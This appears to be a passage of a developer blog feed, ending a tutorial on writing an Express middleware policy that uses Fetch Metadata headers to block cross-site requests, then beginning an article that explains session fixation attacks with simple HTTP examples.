&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-site&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;same-origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Allow requests that don't originate from another website
&lt;/h3&gt;

&lt;p&gt;Sometimes requests originate from the user opening a bookmark or typing in the URL bar. In these cases, the value of &lt;code&gt;Sec-Fetch-Site&lt;/code&gt; is &lt;code&gt;none&lt;/code&gt;, so let's allow that.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-site&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Allow navigation
&lt;/h3&gt;

&lt;p&gt;To enable other websites to link to your page, navigation has to be allowed. However, just allowing navigation would also allow cross-site POST requests, framing, and other things we don't necessarily want.&lt;/p&gt;

&lt;p&gt;To be safe, verify that the HTTP method is &lt;code&gt;GET&lt;/code&gt; and that the resource destination is &lt;code&gt;document&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
  &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-mode&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;navigate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
  &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-dest&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;document&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5. Block any other requests
&lt;/h3&gt;

&lt;p&gt;If a request didn't match any rules so far, reject it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Request blocked by the isolation policy.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6. Relax the policy if required
&lt;/h3&gt;

&lt;p&gt;You may want to allow some cross-origin or cross-site interactions.&lt;/p&gt;

&lt;h4&gt;
  
  
  Allow subdomains
&lt;/h4&gt;

&lt;p&gt;To allow requests from your own subdomains, let requests through that have the &lt;code&gt;Sec-Fetch-Site&lt;/code&gt; value of &lt;code&gt;same-site&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-site&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;same-site&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Allow framing
&lt;/h4&gt;

&lt;p&gt;To enable other websites to load your page in an iframe, allow navigating &lt;code&gt;GET&lt;/code&gt; requests when the destination is &lt;code&gt;iframe&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
  &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-mode&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;navigate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
  &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-dest&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;iframe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7. Test the policy
&lt;/h3&gt;

&lt;p&gt;We have now implemented a rather strict isolation policy. Here is the entire thing (I didn't allow iframes or subdomains in my example). You can fork and play with the code &lt;a href="https://codesandbox.io/s/zen-sea-kngz9?file=/app.js"&gt;here&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// If fetch metadata is not supported, allow the request.&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-site&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-mode&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-dest&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// If the request originates from your own web application, allow it.&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-site&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;same-origin&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// If the request doesn't originate from a website at all (bookmark, etc.) then allow it.&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-site&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// If the request is a navigation GET request, allow it.&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;GET&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-mode&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;navigate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
    &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sec-fetch-dest&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;document&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// If no rules matched, block the request.&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Request blocked by the isolation policy.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I've created a little test page &lt;a href="https://lmbz9.csb.app/"&gt;here&lt;/a&gt;. It tries to load an image, POST an HTML form and frame the protected website. If you open the site, you will find that all of the three will fail.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--lad9h9_w--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a9f7fkcow5b06aese280.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--lad9h9_w--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a9f7fkcow5b06aese280.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There is also a link. Clicking through the link, the page loads correctly.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vzx8DUsR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x83rcpf2pnvpzb8xe7hu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vzx8DUsR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x83rcpf2pnvpzb8xe7hu.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also, loading the page in Firefox or Safari works fine, so our backward compatibility seems to be in check.&lt;/p&gt;

&lt;h3&gt;
  
  
  8. Deploy the policy
&lt;/h3&gt;

&lt;p&gt;When deploying the policy to production for the first time, it is recommended to use a logging-only approach.&lt;/p&gt;

&lt;p&gt;The policy would remain the same, but instead of &lt;em&gt;blocking&lt;/em&gt; requests, you log that a request would have been blocked because of X, and then you let the request through.&lt;/p&gt;

&lt;p&gt;This way, you will quickly know if the policy would break something and if there's something you have to add before finally deploying the enforcing policy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Fetch metadata headers are a remarkable browser feature that enables developers to secure web applications in a way that hasn't previously been possible.&lt;/p&gt;

&lt;p&gt;Implementing an effective policy is simple, and it can easily be relaxed to accommodate any special needs, such as allowing framing or interactions from subdomains.&lt;/p&gt;

&lt;p&gt;When deploying the policy to production, it is recommended to start with a logging-only approach. Then later deploy the enforcing policy when you're satisfied that it won't break anything.&lt;/p&gt;

&lt;p&gt;Browser support is still lacking or experimental depending on the browser, but the headers can already be used in a backward compatible way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Get the web security checklist spreadsheet!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://eepurl.com/hqAGt5"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--elZVxGdx--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3iqd1ef4a5a0icyvvk65.jpg" alt="Subscribe"&gt;&lt;/a&gt;&lt;br&gt;
 ☝️ &lt;a href="https://eepurl.com/hqAGt5"&gt;Subscribe&lt;/a&gt; to AppSec Monkey's email list, get our best content delivered straight to your inbox, and &lt;b&gt;get our 2021 Web Application Security Checklist Spreadsheet for FREE&lt;/b&gt; as a welcome gift!&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't stop here
&lt;/h2&gt;

&lt;p&gt;If you like this article, check out the other application security guides we have on &lt;a href="https://www.appsecmonkey.com/"&gt;AppSec Monkey&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>programming</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Session Fixation Attacks and Prevention</title>
      <dc:creator>Teo Selenius</dc:creator>
      <pubDate>Sat, 27 Mar 2021 06:15:34 +0000</pubDate>
      <link>https://forem.com/appsecmonkey/session-fixation-attacks-and-prevention-3350</link>
      <guid>https://forem.com/appsecmonkey/session-fixation-attacks-and-prevention-3350</guid>
      <description>&lt;p&gt;Learn what session fixation attacks are and how to protect your web application from them. You can read the original article &lt;a href="https://www.appsecmonkey.com/blog/session-fixation" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are sessions?
&lt;/h2&gt;

&lt;p&gt;HTTP is a stateless protocol. As such, web applications must give users something that they can use to identify themselves with as they browse the website (and send more HTTP requests). This &lt;em&gt;something&lt;/em&gt; is called a session identifier and usually is stored in a cookie.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbl9em5iyrkyk55kkj5h3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbl9em5iyrkyk55kkj5h3.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On the HTTP level, it could look like this.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. User browses to a website
&lt;/h3&gt;

&lt;p&gt;User types "&lt;a href="http://www.example.com" rel="noopener noreferrer"&gt;www.example.com&lt;/a&gt;" in the URL bar and hits enter. The browser sends an HTTP GET request to the front page.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;GET / HTTP/1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;www.example.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Website returns a cookie to the user
&lt;/h3&gt;

&lt;p&gt;To identify the user in subsequent requests, the website returns a session cookie to the user in the first HTTP response.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;HTTP/1.1 200 OK&lt;/span&gt;
&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=123&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. The user continues browsing the website
&lt;/h3&gt;

&lt;p&gt;The browser will include the cookie in subsequent requests to the site, allowing the website to identify the user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;GET / HTTP/1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;www.example.com&lt;/span&gt;
&lt;span class="na"&gt;Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionId=123&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What is session fixation?
&lt;/h2&gt;

&lt;p&gt;Session fixation happens when an attacker manages to set the target user's session identifier into a value that is known to the attacker. For example, the attacker might first get a legitimate session identifier from the webserver like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;GET / HTTP/1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;www.example.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTTP/1.1 200 OK
Set-Cookie: SessionId=ABC123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the attacker forces this cookie into the target user's browser, causing a situation where both the attacker and the target have the same session cookie in their browsers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsq1cfe8jpmk32vzap1f6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsq1cfe8jpmk32vzap1f6.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At this point, the cookie is harmless because no-one has yet logged in with it. But what if the user logs in, and the web application authenticates the user's session cookie, elevating it into an authenticated state?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcbfnsd5e051gc2yx87d9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcbfnsd5e051gc2yx87d9.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The user is now logged in, but so is the attacker, who is also in possession of the session identifier.&lt;/p&gt;

